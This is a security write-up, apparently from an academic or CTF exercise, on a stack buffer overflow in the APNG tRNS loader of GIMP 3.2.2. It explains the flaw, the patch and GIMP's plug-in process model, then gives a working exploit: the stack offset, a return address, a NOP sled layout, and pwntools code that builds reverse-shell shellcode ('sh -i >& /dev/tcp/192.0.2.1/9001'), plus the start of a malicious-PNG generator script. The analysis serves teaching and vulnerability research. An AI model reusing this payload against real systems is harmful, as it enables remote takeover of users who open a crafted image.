
GIMP 3.2.2 contains a stack-based buffer overflow in its APNG loader (load_apng_image) when processing the tRNS (transparency) chunk. This writeup demonstrates a proof of concept for remote code execution leveraging this vulnerability.
tRNS Stack Buffer Overflow → RCEAuthor: Chloe Xu, Abby Farrell, George Avdella, Austin Chan
Date: 2026-11-03
Target: GIMP 3.2.2 (Linux x86_64)
CVE: CVE-2026-92183 (7.8 HIGH)
CWE: CWE-121: Stack-based Buffer Overflow
Impact: Remote Code Execution (via malicious PNG/APNG file)
Disclaimer: This writeup is for educational purposes only. The CVE and version numbers are from a controlled academic/CTF exercise. Do not use this against systems you do not own or have explicit permission to test.
GIMP 3.2.2 contains a stack-based buffer overflow in its APNG loader (load_apng_image) when processing the tRNS (transparency) chunk. The chunk length is trusted without validation against the fixed 256-byte destination buffer trns[256], allowing an attacker to overwrite the stack and hijack control flow.
The existing public writeup demonstrates only a denial-of-service (GIMP crashes). This document extends the analysis to a full reverse shell exploit by:
acTL/fcTL chunks.tRNS chunk whose length exceeds 256 bytes.The exploit assumes a non-hardened environment (ASLR disabled, NX disabled, no stack canary) as described in the reference slides. We also discuss why these mitigations matter and how the exploit behaves when they are enabled.
A PNG file consists of chunks:
| Field | Size |
|---|---|
| Length | 4 bytes (big-endian) |
| Chunk Type | 4 bytes (ASCII) |
| Chunk Data | Length bytes |
| CRC | 4 bytes |
APNG extends PNG with additional ancillary chunks:
acTL (Animation Control) — marks the file as an APNG. Must appear before the first IDAT.fcTL (Frame Control) — precedes each frame's data.fdAT (Frame Data) — contains frame data (alternative to IDAT for subsequent frames).GIMP's PNG plugin (file-png) branches to load_apng_file when it sees an acTL chunk, even if the file extension is .png.
From the patch diff:
Vulnerable version (GIMP 3.2.2):
else if (png_id == id_tRNS)
{
for (gint i = 0; i < chunk.size; i++)
trns[i] = chunk.data[i + 8];
}
Patched version (GIMP 3.2.6):
gint transparent_size = MIN(chunk.size, 256);
for (gint i = 0; i < transparent_size - 8; i++)
trns[i] = chunk.data[i + 8];
The destination buffer is declared as:
guchar trns[256];
Because chunk.size is read directly from the file and is not bounded, a tRNS chunk with size > 256 overflows trns[] on the stack. The + 8 offset indicates that chunk.data points to the start of the chunk (including the 8-byte length + type header), so chunk.data[i + 8] reads the actual data bytes.

When a file is opened, the GIMP core selects the loader before any plug-in code runs. file_open_pre_check() calls gimp_plug_in_manager_file_procedure_find(), which matches on extension or magic bytes. A .apng file goes to file-apng-load, and a file with the PNG signature goes to file-png-load. The core runs the chosen procedure through gimp_plug_in_manager_call_run(), which spawns the file-png plug-in as a child process and sends the procedure name and arguments over a pipe. In the child, load_image() always runs first and builds the base PNG layer. apng_load() then calls load_apng_image() unconditionally. png_load() calls it only if load_image() saw a png/fcTL chunk. load_apng_image() reopens the file and parses the chunks itself, so the earlier libpng pass validates nothing for it. png_load() also ignores its return value and reports success either way.
The child is created by gimp_spawn_async(), which on POSIX systems calls vfork() and then immediately execve() (app/core/gimp-spawn.c:171-199). execve() discards the child’s memory mappings and loads the file-png binary and its libraries from scratch. The child therefore holds none of the parent’s heap or stack, and on systems with ASLR it gets a fresh address layout for every image open. What survives the exec is the process ID, the user’s privileges, the environment GIMP passes in, and any file descriptors not marked close-on-exec. Those include the two pipe ends passed on the command line. The parent’s own pipe ends are marked close-on-exec so the child does not inherit them. This isolates memory but does not sandbox the child. A compromised child can still run as the user, read the same files, and send the parent crafted messages and tile data over the pipe and shared memory.
The vulnerable function's stack frame (simplified, compiled with -O2 -z execstack -fno-stack-protector):
+------------------+ <- lower addresses
| trns[256] | (offset 0)
+------------------+
| ... |
| saved RBP |
| saved RIP | <- return address
+------------------+ <- higher addresses
The exact offset from the start of trns to the saved return address depends on the compiler and surrounding locals. In the reference environment it is 312 bytes. We determined this by:
tRNS data.RIP at the crash and computing the offset with cyclic_find().With -O2, the loop iterator i is likely stored in a register, so it does not sit between the buffer and the return address. The 312-byte offset accounts for trns[256] plus alignment and other saved registers.
The tRNS data is:
[ 312 bytes 'A' ] [ 8-byte return address ] [ 1410 bytes NOP sled ] [ shellcode ]
trns and reach the saved return address.0x7ffffffffdeb2 + 0x10 (points into the NOP sled).execve("/bin/bash", ...) to spawn a reverse shell.Shellcode (generated with pwntools):
context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.execve(
'/bin/bash',
['Hello form payload', '-c', 'sh -i >& /dev/tcp/192.0.2.1/9001 0>&1'],
{'PATH': '/usr/bin:/bin'}
))
The execve replaces the file-png child process with a shell. Because GIMP forks a child for plugin execution, the shell survives independently of the main GIMP process (which hangs waiting for the plugin). The attacker receives a reverse shell on port 9001.
This script creates a minimal 1×1 PNG and injects the malicious tRNS chunk directly. It is useful for understanding the file structure.
#!/usr/bin/env python3
# create_payload.py
from pwn import *
import png
import io
# Minimal 1x1 PNG
pixels = [[0]]
writer = png.Writer(1, 1)
byte_stream = io.BytesIO()
writer.write(byte_stream, pixels)
byte_stream.seek(0)
# Shellcode: reverse shell to 192.0.2.1:9001
context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.execve(
'/bin/bash',
['Hello form payload', '-c', 'sh -i >& /dev/tcp/192.0.2.1/9001 0>&1'],
{'PATH': '/usr/bin:/bin'}
))